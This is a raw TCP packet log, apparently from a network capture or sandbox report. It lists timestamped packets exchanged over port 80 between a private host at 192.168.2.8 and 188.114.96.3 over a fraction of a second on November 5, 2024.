Nov 5, 2024 12:43:36.326801062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.326803923 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.326822996 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.326852083 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.326884031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.326896906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.326908112 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.326921940 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.326936007 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.326948881 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.326961994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.326973915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.326986074 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.327018976 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.327039957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327078104 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.327089071 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327132940 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.327145100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327157974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327163935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327169895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327174902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327219963 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.327275991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327334881 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.327363014 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327375889 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327387094 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327409029 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.327434063 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.327481985 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327495098 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327507019 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327517986 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327523947 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.327532053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327533960 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.327557087 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.327581882 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.327655077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327666044 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327677965 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327696085 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327708960 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.327723026 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.327743053 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.327820063 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327832937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327845097 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327857018 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327866077 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.327868938 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327881098 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327883005 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.327893972 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327905893 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.327910900 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.327934027 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.327960014 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.372657061 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.372672081 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.372683048 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.372695923 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.372750998 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.372770071 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.407699108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.407788038 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.407883883 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.407896996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.407912970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.407923937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.407931089 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.407934904 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.407948017 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.407953024 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.407960892 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.407970905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.407980919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.407988071 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408008099 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408030987 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408107996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408119917 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408132076 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408154011 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408170938 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408170938 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408174992 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408185959 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408196926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408207893 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408214092 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408227921 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408233881 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408279896 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408307076 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408318996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408337116 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408346891 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408349037 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408361912 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408370972 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408371925 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408385038 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408396006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408406973 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408421040 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408428907 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408432961 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408441067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408452034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408463001 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408463955 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408513069 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408513069 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408534050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408544064 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408554077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408565998 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408588886 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408600092 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408600092 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408627033 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408641100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408665895 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408675909 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408701897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408714056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408725023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408735991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408741951 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408757925 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408781052 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408813953 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408827066 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408838987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408852100 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408875942 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408885002 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408901930 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408912897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408924103 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408934116 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.408942938 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408953905 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.408984900 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409034967 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409046888 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409056902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409063101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409079075 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409106970 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409153938 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409163952 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409174919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409188032 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409194946 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409198999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409220934 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409248114 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409291983 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409303904 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409315109 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409326077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409331083 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409339905 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409339905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409358025 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409370899 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409395933 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409447908 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409461021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409487963 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409495115 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409507036 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409512997 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409539938 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409574986 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409600973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409611940 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409624100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409634113 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409640074 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409646988 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409656048 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409687042 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409728050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409738064 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409749031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409769058 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409822941 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409832001 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409842968 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409849882 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409854889 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409863949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409888029 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409914970 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.409976959 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.409989119 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.410007954 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.410018921 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.410022974 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.410032034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.410042048 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.410073042 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.410175085 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.410186052 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.410198927 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.410211086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.410221100 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.410223007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.410238981 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.410245895 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.410269976 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.410295963 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.410413980 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.410424948 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.410437107 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.410446882 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.410453081 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.410460949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.410466909 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.410471916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.410496950 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.410506010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.438294888 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.438311100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.438323021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.438335896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.438348055 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.438359022 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.438370943 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.438384056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.438394070 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.438450098 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.438585043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.438632965 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.442200899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442233086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442245960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442293882 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.442316055 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442326069 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.442334890 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442347050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442348957 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.442359924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442372084 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442397118 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.442397118 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.442420959 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.442507029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442519903 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442532063 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442542076 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442554951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442555904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.442603111 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.442617893 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442667961 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.442740917 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442753077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442764997 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442775011 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442781925 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.442786932 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442797899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442801952 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.442811012 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442832947 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.442845106 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.442972898 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442985058 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.442996025 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.443013906 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.443030119 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.443089962 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.443103075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.443114042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.443130016 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.443151951 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.443253040 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.443264961 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.443275928 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.443289042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.443293095 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.443301916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.443320990 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.443335056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.443336010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.443345070 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.443347931 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.443358898 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.443388939 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.443401098 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.443511009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.443521976 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.443531990 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.443548918 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.443550110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.443563938 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.443563938 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.443577051 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.443594933 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.488090992 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.488132000 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.488142967 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.488194942 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.488245010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.523437977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.523464918 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.523477077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.523549080 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.523560047 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.523575068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.523588896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.523596048 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.523602962 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.523617029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.523627043 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.523657084 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.523699999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.523736954 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.523849964 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.523860931 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.523871899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.523881912 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.523894072 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.523896933 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.523905993 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.523916960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.523917913 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.523931026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.523942947 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.523962975 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.523986101 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.524071932 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.524085999 CET	80	49711	188.114.96.3	192.168.2.8
